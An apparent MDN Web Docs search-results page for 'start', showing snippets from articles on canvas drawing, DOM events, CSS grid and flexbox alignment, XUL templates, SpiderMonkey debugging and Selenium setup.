...), which is used to display textual output. <p> demonstration of using <a href="/docs/web/api/background_tasks_api"> cooperatively scheduled background tasks</a> using the <code>requestidlecallback()</code> method. ...
...o display textual output. <p> demonstration of using <a href="/docs/web/api/background_tasks_api"> cooperatively scheduled background tasks</a> using the <code>requestidlecallback()</code> method. ...
...And 11 more matches
Drawing shapes with canvas - Web APIs
ow that we have set up our canvas environment, we can get into the details of how to draw on the canvas. by the end of this article, you will have learned how to draw rectangles, triangles, lines, arcs and curves, providing familiarity with some of the basic shapes. working with paths is essential when drawing objects onto the canvas and we will see how that can be done. the grid before we can
start drawing, we need to talk about the canvas grid or coordinate space. our html skeleton from the previous page had a canvas element 150 pixels wide and 150 pixels high. to the right, you see this canvas with the default grid overlayed. normally 1 unit in the grid corresponds to 1 pixel on the canvas. the origin of this grid is positioned in the top left corner at coordinate (0,0). all elements are ...
...into the path. once the path has been created, you can stroke or fill the path to render it. here are the functions used to perform these steps: beginpath() creates a new path. once created, future drawing commands are directed into the path and used to build the path up. path methods methods to set different paths for objects. closepath() adds a straight line to the path, going to the
start of the current sub-path. stroke() draws the shape by stroking its outline. fill() draws a solid shape by filling the path's content area. the first step to create a path is to call the beginpath(). internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. every time this method is called, the list is reset and we can
start drawing new shapes. note:...
...gether form a shape. every time this method is called, the list is reset and we can
start drawing new shapes. note: when the current path is empty, such as immediately after calling beginpath(), or on a newly created canvas, the first path construction command is always treated as a moveto(), regardless of what it actually is. for that reason, you will almost always want to specifically set your
starting position after resetting a path. the second step is calling the methods that actually specify the paths to be drawn. we'll see these shortly. the third, and an optional step, is to call closepath(). this method tries to close the shape by drawing a straight line from the current point to the
start. if the shape has already been closed or there's only one point in the list, this function does...
...And 11 more matches
Document - Web APIs
nceled. globaleventhandlers.onanimationend an eventhandler called when an animationend event is sent, indicating that a css animation has stopped playing. globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a new iteration of the animation sequence. globaleventhandlers.onanimation
start an eventhandler called when an animation
start event is sent, indicating that a css animation has
started playing. globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button). globaleventhandlers.onblur is an eventhandler representing the code to be called when t...
...sed. globaleventhandlers.ondragexit is an eventhandler representing the code to be called when the dragexit event is raised. globaleventhandlers.ondragleave is an eventhandler representing the code to be called when the dragleave event is raised. globaleventhandlers.ondragover is an eventhandler representing the code to be called when the dragover event is raised. globaleventhandlers.ondrag
start is an eventhandler representing the code to be called when the drag
start event is raised. globaleventhandlers.ondrop is an eventhandler representing the code to be called when the drop event is raised. globaleventhandlers.ondurationchange is an eventhandler representing the code to be called when the durationchange event is raised. globaleventhandlers.onemptied is an eventhandler represent...
...ng the code to be called when the loadeddata event is raised. globaleventhandlers.onloadedmetadata is an eventhandler representing the code to be called when the loadedmetadata event is raised. globaleventhandlers.onloadend is an eventhandler representing the code to be called when the loadend event is raised (when progress has stopped on the loading of a resource.) globaleventhandlers.onload
start is an eventhandler representing the code to be called when the load
start event is raised (when progress has begun on the loading of a resource.) globaleventhandlers.onlostpointercapture is an eventhandler representing the code to be called when the lostpointercapture event type is raised. globaleventhandlers.onmousedown is an eventhandler representing the code to be called when the mousedown...
...And 11 more matches
Touch events - Web APIs
to provide quality support for touch-based user interfaces, touch events offer the ability to interpret finger (or stylus) activity on touch screens or trackpads. the touch events interfaces are relatively low-level apis that can be used to support application-specific multi-touch interactions such as a two-finger gesture. a multi-touch interaction
starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move across the touch surface. the interaction ends when the fingers are removed from the surface. during this interaction, an application receives touch events during the
start, move, and end phases. touch events are similar to mouse events except they support simultaneous touches and at different locations on the to...
...rm "finger" when describing the contact with the surface, but it could, of course, also be a stylus or other contact method. create a canvas <canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> your browser does not support canvas element. ...
... but it could, of course, also be a stylus or other contact method. create a canvas <canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> your browser does not support canvas element. </canvas> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the
startup() function shown below will be called. ...
...And 11 more matches
Taking still photos with WebRTC - Web APIs
...
...vas> <div class="output"> <img id="photo" alt="the screen capture will appear in this box."> </div> that's all of the relevant html. the rest is just some page layout fluff and a bit of text offering a link back to this page. the javascript code now let's take a look at the javascript code. we'll break it up into a few bite-sized pieces to make it easier to explain. ...
... height the output height of the image will be computed given the width and the aspect ratio of the stream. streaming indicates whether or not there is currently an active stream of video running. ...
...And 11 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
> element of type range to control the volume of two of the three oscillators. ...
... display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } javascript now let's take a look at the javascript code, a piece at a time. setting up let's
start by looking at the global variable initialization. let context = null; let playbutton = null; let volumecontrol = null; let oscnode1 = null; let oscnode2 = null; let oscnode3 = null; let constantnode = null; let gainnode1 = null; let gainnode2 = null; let gainnode3 = null; let playing = false; these variables are: context the audiocontext in which all the audio nodes live. playbutton and...
...then we get references to the control widgets, setting playbutton to reference the play button and volumecontrol to reference the s...
...And 11 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
y implemented all of the specification; however, the css grid layout method has been widely adopted. this guide presents demonstrations of how box alignment in grid layout works. you will see many similarities in how these properties and values work in flexbox. due to grid being two-dimensional and flexbox one-dimensional there are some small differences that you should watch out for. so we will
start by looking at the two axes that we deal with when aligning things in a grid. the two axes of a grid layout when working with grid layout you have two axes available to align things against – the block axis and the inline axis. the block axis is the axis upon which blocks are laid out in block layout. if you have two paragraphs on your page they display one below the other, so it is this direc...
... block axis the align-self and align-items properties control alignment on the block axis. when we use these properties, we are changing the alignment of the item within the grid area you have placed it. in the following example, i have four grid areas within my grid. ...
...r: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-items:
start; } .item1 { grid-area: a; } .item2 { grid-area: b; } .item3 { grid-area: c; } .item4 { grid-area: d; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item4">item 4</div> </div> keep in mind that once you set align-items:
start, the height of each child <div> will be determined by the contents...
...And 11 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
n due to the browsers that visit your site. a flexible 12-column layout if you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. we can create this type of system using css grid layout. ...
... that visit your site. a flexible 12-column layout if you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. we can create this type of system using css grid layout. as a simple example, i am creating a 12-column flexible grid that has 12 1fr-unit column tracks, they all have a
start line named col-
start. ...
... been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. we can create this type of system using css grid layout. as a simple example, i am creating a 12-column flexible grid that has 12 1fr-unit column tracks, they all have a
start line named col-
start. this means that we will have twelve grid lines named col-
start. ...
...And 11 more matches
align-self - CSS: Cascading Style Sheets
-examples and send us a pull request. the property doesn't apply to block-level boxes, or to table cells. if a flexbox item's cross-axis margin is auto, then align-self is ignored. ...
...equest. the property doesn't apply to block-level boxes, or to table cells. if a flexbox item's cross-axis margin is auto, then align-self is ignored. ...
...ls. if a flexbox item's cross-axis margin is auto, then align-self is ignored. ...
...And 11 more matches
place-items - CSS: Cascading Style Sheets
interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 11 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
he object contains a series of functions, one for each event handler (except for dragenter where it has nothing special to do). each of the functions takes two parameters, the first is the event object and the second is an observer object that you create. more on that in a moment. the following is an example of calling the nsdraganddrop object. <button label="drag me" ondraggesture="nsdraganddrop.
startdrag(event,buttonobserver);" /> the function
startdrag will be called when a drag
starts on the button. the first parameter is the event object, available in all event handlers. the second parameter to this function is the observer, which we'll create soon. in this case we only do anything special when the button drag is
started. if we wanted to handle the other cases also, we can call the other ...
...he event object, available in all event handlers. the second parameter to this function is the observer, which we'll create soon. in this case we only do anything special when the button drag is
started. if we wanted to handle the other cases also, we can call the other functions, as in the following example: <description value="click and drag this text." ondraggesture="nsdraganddrop.
startdrag(event,textobserver)" ondragover="nsdraganddrop.dragover(event,textobserver)" ondragexit="nsdraganddrop.dragexit(event,textobserver)" ondragdrop="nsdraganddrop.drop(event,textobserver)" /> as mentioned earlier, there is nothing special that happens during a dragenter event, so you can just write that yourself. the functions are implemented by the nsdraga...
... this observer is stored in the buttonobserver and textobserver variables. the observer is declared in a script which you would include in the xul file using the script tag. the observer is an object which may have a number of properties, each set to a function which handles a particular aspect of drag and drop. five functions may be defined. you only have to define the ones that you need. ondrag
start(event, transferdata, action) define this function to have something happen when a drag
starts. it takes three arguments, the event object as was originally passed to the event handler, the data to drag and the type of drag action. this function should add the data to drag to the transferdata object. ondragover(event, flavor, session) this function should be defined when you want something to ha...
...And 10 more matches
Monitoring downloads - Archive of obsolete content
introduces new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been
started since you installed the extension. in the list is the name of the file, the
start and end times of the download, the download speed, and the status of the download. a tooltip is included that displays the full source url of the file. download the full sample. setting up when the extension loads, it will do some housekeeping chores. in particular, it needs to get an instance of the download m...
...the database file is opened, and an sqlite create table ...
...the database file is opened, and an sqlite create table command is executed to create the table. finally, the database is closed. ...
...And 10 more matches
Actions - Archive of obsolete content
f a <xul:rule> element. the content to generate goes directly inside the action element. this content will be copied for each matching result (though see below for an exception) and inserted into the document. let's look at a simple example first. <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?
start"/> <triple subject="?
start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </vbox> in this example, we omit the <xul:rule> element around the <xul:action> as it is optional when we want to generate content unconditionally. i...
... each result. there are three results, so three buttons will be created. here is the [example], and an image of what it looks like: the template builder iterates through the three results, processing the body of the action for each one in turn. the uri attribute on the button is used to specify the ending or member variable. ...
... there are three results, so three buttons will be created. here is the [example], and an image of what it looks like: the template builder iterates through the three results, processing the body of the action for each one in turn. the uri attribute on the button is used to specify the ending or member variable. ...
...And 10 more matches
HTML text fundamentals - Learn web development
verview: introduction to html next one of html's main jobs is to give text structure and meaning (also known as semantics) so that a browser can display it correctly. this article explains the way html can be used to structure a page of text by adding headings and paragraphs, emphasizing words, creating lists, and more. prerequisites: basic html familiarity, as covered in getting
started with html. objective: learn how to mark up a basic page of text to give it structure and meaning—including paragraphs, headings, lists, emphasis, and quotations. the basics: headings and paragraphs most structured text consists of headings and paragraphs, whether you are reading a story, a newspaper, a college textbook, a magazine, etc. structured content makes the read...
...lts. of the six heading levels available, you should aim to use no more than three per page, unless you feel it is necessary. documents with many levels (i.e., a deep heading hierarchy) become unwieldy and difficult to navigate. on such occasions, it is advisable to spread the content over multiple pages if possible. why do we need structure? to answer this question, let's take a look at text-
start.html—the
starting point of our running example for this article (a nice hummus recipe). you should save a copy of this file on your local machine, as you'll need it for the exercises later on. this document's body currently contains multiple pieces of content—they aren't marked up in any way, but they are separated with linebreaks (enter/return pressed to go onto the next line). however, whe...
...istener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selection
start; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caretpos = caretpos + text.length; textarea.selection
start = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the use...
...And 10 more matches
Handling common JavaScript problems - Learn web development
in a later article.) see eslint integrations for eslint options; jshint is supported out of the box by grunt, and also has other integrations available, e.g. jshint loader for webpack. note: eslint takes a bit more setup and configuration than jshint, but it is more powerful too. browser developer tools browser developer tools have many useful features for helping to debug javascript. for a
start, the javascript console will report errors in your code. make a local copy of our broken-ajax.html example (see the source code also). if you look at the console, you'll see the error message "uncaught typeerror: can't access property "length", heroes is undefined", and the referenced line number is 49. if we look at the source code, the relevant code section is this: function showheroes(jsono...
...hub.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails. the console api you may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. for a
start, there is a console api that allows javascript code to interact with the browser's javascript console. it has a number of features available, but the main one you'll use often is console.log(), which prints a custom message to the console. try inserting the following line just below line 31 (bolded above): console.log('response value: ' + superheroes); refresh the page in the browser, and you ...
...to return json format, or convert the returned text to json after the response arrives. if you get stuck, consult our fixed-ajax.html example. note: the debugger tab has many other useful features that we've not discussed here, for example conditional breakpoints and watch expressions. for a lot more information, see the debugger page. performance issues as your apps get more complex and you
start to use more javascript, you may
start to run into performance problems, especially when viewing apps on slower devices. performance is a big topic, and we don't have time to cover it in detail here. some quick tips are as follows: to avoid loading more javascript than you need, bundle your scripts into a single file using a solution like browserify. in general, reducing the number of http requ...
...And 10 more matches
Gecko info for Windows accessibility vendors
pported platforms, and to allow for different skins (appearances). firefox (please use version 1.1 alpha builds or later) thunderbird (please use version 1.1 alpha builds or later) mozilla seamonkey (please use 1.8 alpha builds or later) how to find the content window and load the document screen readers need to find the content window so that they know where to
start grabbing the msaa tree, in order to load the current document into a buffer in their own process. the content window always has the class mozillacontentwindowclass. in total, gecko supports the following window classes: mozillauiwindowclass - root ui window, at the root of the window hierarchy mozillacontentwindowclass -- root document window mozillacontentframewindowclass - root...
...going forward, this may be the only way to efficiently find the content area, as mozilla will begin to become a windowless application, with an exception for plugins which create their own window. when you see the content window receive focus, first check the role. if it is role_pane or role_document then ...
...tatechange is used in check boxes, radio buttons, text fields, combo boxes and list boxes. it's also used in the root pane object to show when the state_busy flag changes from loading new content. event_scrollingend is used to indicate when a document has scrolled, even if only 1 line. gecko fires this event when the scrolling is finished, rather than fire excessive events. event_scrolling
start is fired when the user has jumped to a named anchor within the page. the event is fired on the first accessible object in the part of the document that has been jumped to. event_menupopup
start and event_menupopupend are fired when xul menus are opened or closed. event_menu
start and event_menuend are fired when the xul menubar is activated or deactivated. event_valuechange is fired for...
...And 10 more matches
Debugging Table Reflow
l> <col width="50%"> <col width="1*"> <col> </colgroup> <tr> <td style="width:80px">cell 1</td> <td>cell 2</td> <td>cell 3</td> <td>cell 4</td> </tr> </table> rendering: <colgroup><col><col width="50%"><col width="1*"><col></colgroup>cell 1cell 2cell 3cell 4 it will produce the following log at the entrance of assignnonpctcolwidths: assignnonpctcolwidths en max=4500 count=0 ***
start table dump*** mcolwidths=-1 -1 -1 -1 col frame cache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **
start col dump** colindex=0 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **
start col dump** colindex=1 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **
start col dump** colindex=2 isanonymous=0 constraint=0 widths=...
...ache -> 0=00b93138 1=00b931f0 2=024dd728 3=024dd780 **
start col dump** colindex=0 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **
start col dump** colindex=1 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **
start col dump** colindex=2 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** **
start col dump** colindex=3 isanonymous=0 constraint=0 widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 **end col dump** ***end table dump*** the en stands for entrance (ex for leaving a routine). the first line of the data dump shows that no width has yet been assigned to the columns mcolwidths=-1 -1 -1 -1, -1 stands for: #define width_not_set -1 this is followed by a reference to the column frame pointer...
... percent colspan #define min_pro 8 // desired width due to proportional <col>s or cols attribute #define final 9 // width after the table has been balanced, considering all of the others in the last log snippet none of these width's has been set. ...
...And 10 more matches
Hacking Tips
, by using the source command with the js-gdb.py file. setting a breakpoint in the generated code (from gdb, x86 / x86-64, arm) to set a breakpoint the generated code of a specific jsscript compiled with ionmonkey. set a breakpoint on the instruction you are interested in. ...
...breakpoint on the js::ion::codegenerator::visit
start function. optionally, a condition on the ins->id() of the lir instruction can be added to select precisely the instruction you are looking for. once the breakpoint is on codegenerator function of the lir instruction, add a command to generate a static breakpoint in the generated code. $ gdb --args js […] (gdb) b js::ion::codegenerator::visit
start (gdb) command >call masm.breakpoint() >continue >end (gdb) r js> function f(a, b) { return a + b; } js> for (var i = 0; i < 100000; i++) f(i, i + 1); breakpoint 1, js::ion::codegenerator::visit
start (this=0x101ed20, lir=0x10234e0) at /home/nicolas/mozilla/ionmonkey/js/src/ion/codegenerator.cpp:609 609 } program received signal sigtrap, trace/breakpoint trap. 0x00007ffff7fb165a in ?? ()...
... the number of instructions you would like to see) here is an example. it might be simpler to use the codegenerator::link lineno instead of the full qualified name to put the breakpoint. let's say that the line number of this function is 4780, for instance: (gdb) b codegenerator.cpp:4780 breakpoint 1 at 0x84cade0: file /home/code/mozilla-central/js/src/ion/codegenerator.cpp, line 4780. (gdb) r
starting program: /home/code/mozilla-central/js/src/32-release/js -f /home/code/jaeger.js [thread debugging using libthread_db enabled] using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [new thread 0xf7903b40 (lwp 12563)] [new thread 0xf6bdeb40 (lwp 12564)] run#0 breakpoint 1, js::ion::codegenerator::link (this=0x86badf8) at /home/code/mozilla-central/js/src/ion/codegenera...
...And 10 more matches
Component Internals
from the perspective of a client of xpcom components, this chapter discusses components from the perspective of the software developer. read on to see how components are generally implemented in xpcom, or you can skip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process. xxx mediawiki...xxx sucks creating components in c++ let's
start by examining how xpcom components are written in c++. the most common type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix). the illustration below shows the basic relationship between the shared library containing the component implementation code you write and the xpcom framework itself. in this diagram, the outer bounda...
...wn in onion peel view of xpcom component creation in the next chapter. the component is an abstraction sitting between the actual module in which it is implemented and the objects that its factory code creates for use by clients. xpcom initialization to understand why and when your component library gets called, it is important to understand the xpcom initalization process. when an application
starts up, that application may initialize xpcom. the sequence of events that kicks off this xpcom initialization may be triggered by user action or by the application
startup itself. a web browser that embeds gecko, for example, may initialize xpcom at
startup through the embedding apis. another application may delay this
startup until xpcom is needed for the first time. in either case, the initializa...
...e sequence of events that kicks off this xpcom initialization may be triggered by user action or by the application
startup itself. a web browser that embeds gecko, for example, may initialize xpcom at
startup through the embedding apis. another application may delay this
startup until xpcom is needed for the first time. in either case, the initialization sequence within xpcom is the same. xpcom
starts when the application makes a call to initialize it. parameters passed to this
startup call allow you to configure some aspects of xpcom, including the customization of location of specific directories. the main purpose of the api at this point is to change which components directory xpcom searches when it looks for xpcom components. this is how the api is used, for example, in the gecko runtime ...
...And 10 more matches
nsDependentString
appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members. ...
...() - source assertvalid void assertvalid() - source verify restrictions rebind void rebind(const prunichar*) - source allow this class to be bound to a different string... ...
...parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...And 10 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
tems on the cross axis. if your flex container has a height set, then the items will stretch to that height, regardless of how much content is in the item. the reason the items become the same height is that the initial value of align-items, the property that controls alignment on the cross axis, is set to stretch. we can use other values to control how the items align: align-items: flex-
start align-items: flex-end align-items: center align-items: stretch align-items: baseline in the live example below, the value of align-items is stretch. try the other values and see how all of the items align against each other in the flex container. aligning one item with align-self the align-items property sets the align-self property on all of the flex items as a group. this means you c...
...s property sets the align-self property on all of the flex items as a group. this means you can explicitly declare the align-self property to target a single item. the align-self property accepts all of the same values as align-items plus a value of auto, which will reset the value to that which is defined on the flex container. in this next live example, the flex container has align-items: flex-
start, which means the items are all aligned to the
start of the cross axis. i have targeted the first item using a first-child selector and set that item to align-self: stretch; another item has been selected using its class of selected and given align-self: center. you can change the value of align-items or change the values of align-self on the individual items to see how this works. changing the...
...ws. in the specification this is described as packing flex lines. for align-content to work you need more height in your flex container than is required to display the items. it then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it. the align-content property takes the following values: align-content: flex-
start align-content: flex-end align-content: center align-content: space-between align-content: space-around align-content: stretch align-content: space-evenly (not defined in the flexbox specification) in the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. the value of align-content is space-between, which means that the availa...
...And 10 more matches
align-items - CSS: Cascading Style Sheets
d in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ou'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ttps://github.com/mdn/interactive-examples and send us a pull request. ...
...And 10 more matches
justify-self - CSS: Cascading Style Sheets
ayout) in flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns an item inside its grid area on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-self: auto; justify-self: normal; justify-self: stretch; /* positional alignment */ justify-self: center; /* pack item around the center */ justify-self:
start; /* pack item from the
start */ justify-self: end; /* pack item from the end */ justify-self: flex-
start; /* equivalent to '
start'. note that justify-self is ignored in flexbox layouts. */ justify-self: flex-end; /* equivalent to 'end'. note that justify-self is ignored in flexbox layouts. */ justify-self: self-
start; justify-self: self-end; justify-self: left; /* pack item fr...
... */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch. baseline alignment: the baseline keyword, plus optionally one of first or last. positional alignment: one of: center,
start, end, flex-
start, flex-end, self-
start, self-end, left, or right. plus optionally safe or unsafe. values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level ...
...rt, self-end, left, or right. plus optionally safe or unsafe. values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of
start. in absolutely-positioned layouts, the keyword behaves like
start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in table cell layouts, this keyword has no meaning as this property is ignored. in flexbox layouts, this keyword has no meaning as this property is ignored. in grid layouts, this keyword leads to a behavior similar to the one o...
...And 10 more matches
Bootstrapped extensions - Archive of obsolete content
traditional extensions include overlays, wherein the application can load up xul from the extension's package and automatically apply it on top its own ui. while this makes creating extensions that add to the application's user interface relatively easy, it means that updating, installing, or disabling an extension requires an application re
start. gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduces bootstrapped extensions. these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application. this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall,
start up, and shut down. all...
...e browser calls to command the extension to install, uninstall,
start up, and shut down. all the application does is call into this script file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it requires. this article discusses how bootstrapped extensions work. see this tutorial on converting from an overlay extension to re
startless for a practical step by step guide to migrating. the
startup and shutdown process a key feature of bootstrapped extensions is that they must be able to
start up and shut down on demand by the application. when the extension's
startup() function is called, it must manually inject its user interface and other behavior into the application. similarly, when its shutdown() function is called, it...
...able to
start up and shut down on demand by the application. when the extension's
startup() function is called, it must manually inject its user interface and other behavior into the application. similarly, when its shutdown() function is called, it must remove anything that it has added to the application, as well as all references to any of its objects. there are several scenarios in which the
startup() function may be called; for example: when the extension is first installed, assuming that it's both compatible with the application and is enabled. when the extension becomes enabled using the add-ons manager window. when the application is
started up, if the extension is enabled and compatible with the application. some examples of when the shutdown() function may be called: when t...
...And 9 more matches
Venkman Introduction - Archive of obsolete content
debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands. on windows, the javascript debugger compares favorably with visual interdev and other large web development tools. on other platforms, including mac os and unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment.
starting the debugger the javascript debugger is automatically pre-installed in mozilla 1.x but must be installed separately in firefox and other gecko-based products, such as thunderbird and netscape 7.x. fortunately, the xpinstall technology makes it possible to install new application modules in firefox by just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you c...
...in firefox by just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you can easily get the latest version from firefox add-ons. the installation process is two steps. first, from within the browser you want to host the debugger application, visit the firefox add-ons page and click on the "install" link for the most recent version. when the download is complete, re
start your browser (some windows users may also need to re
start their computer as well). you can then access the debugger via a new, dynamically created menuitem in the tools menu of that browser, or else re
start the browser with a special debugger option. to see which version of venkman you have, type /version in the interactive session view. for more information about the latest improvements and ver...
... computer as well). you can then access the debugger via a new, dynamically created menuitem in the tools menu of that browser, or else re
start the browser with a special debugger option. to see which version of venkman you have, type /version in the interactive session view. for more information about the latest improvements and versions, see the venkman development page. there are two ways to
start the debugger: from firefox, you can
start it by selecting javascript debugger from the tools menu (tools->web development menu in mozilla 1.x and netscape). ...
...And 9 more matches
RDF Query Syntax - Archive of obsolete content
« previousnext » let's look at a simple query with two statements. each statement is placed as a direct child of the <query> element within the template. <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?
start"/> <triple subject="?
start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ... </rule> </template> </vbox> this query has two statements, each specified with a different tag. the template won't generate anything yet since we still need to fill in the content to be generated which goes in the missing part inside the rule. however, the template builder will be able to compil...
...ry> <rule> ... </rule> </template> </vbox> this query has two statements, each specified with a different tag. the template won't generate anything yet since we still need to fill in the content to be generated which goes in the missing part inside the rule. however, the template builder will be able to compile the rules and examine them as described earlier. the builder needs to
start with a single result as the seed result. this is done with the content tag. it indicates that we are going to use a
starting point when navigating the graph. obviously, since you need to
start somewhere, you will have to use a content tag and it should be the first statement. also, because we can only have one
starting point, only one content tag can be used. the seed result will be created like ...
...single result as the seed result. this is done with the content tag. it indicates that we are going to use a
starting point when navigating the graph. obviously, since you need to
start somewhere, you will have to use a content tag and it should be the first statement. also, because we can only have one
starting point, only one content tag can be used. the seed result will be created like this: (?
start = http://www.xulplanet.com/rdf/a) the variable ?
start is determined from the tag's 'uri' attribute. you can use any variable you want; it's common to use the variable ?uri. however, all rules must use the same
starting point variable. so if a second rule were used, it would also need to use the ?
start variable. the value of ?
start is set to 'http://www.xulplanet.com/rdf/a'. you'll notice that th...
...And 9 more matches
Object building practice - Learn web development
in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, with a fun and colorful result. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). ...
...le display — you don't need to have any previous knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more. along the way we'll make use of some nifty objects, and show you a couple of nice techniques like bouncing balls off walls, and checking whether they have hit each other (otherwise known as collision detection). getting
started to begin with, make local copies of our index.html, style.css, and main.js files. these contain the following, respectively: a very simple html document featuring an <h1> element, a <canvas> element to draw our balls on, and elements to apply our css and javascript to our html. some very simple styles, which mainly serve to style and position the <h1>, and get rid of any scrollbars or marg...
......
...And 9 more matches
Setting up your own test automation environment - Learn web development
setting up a selenium-webdriver project for more details of selenium setups for different languages. different browsers require different drivers to allow webdriver to communicate with and control them. see platforms supported by selenium for more information on where to get browser drivers from, etc. we will cover writing and running selenium tests using node.js, as it is quick and easy to get
started, and a more familiar environment for front end devs. note: if you want to find out how to use webdriver with other server-side environments, also check out platforms supported by selenium for some useful links. setting up selenium in node to
start with, set up a new npm project, as discussed in setting up node and npm in the last chapter. call it something different, like selenium-test. ...
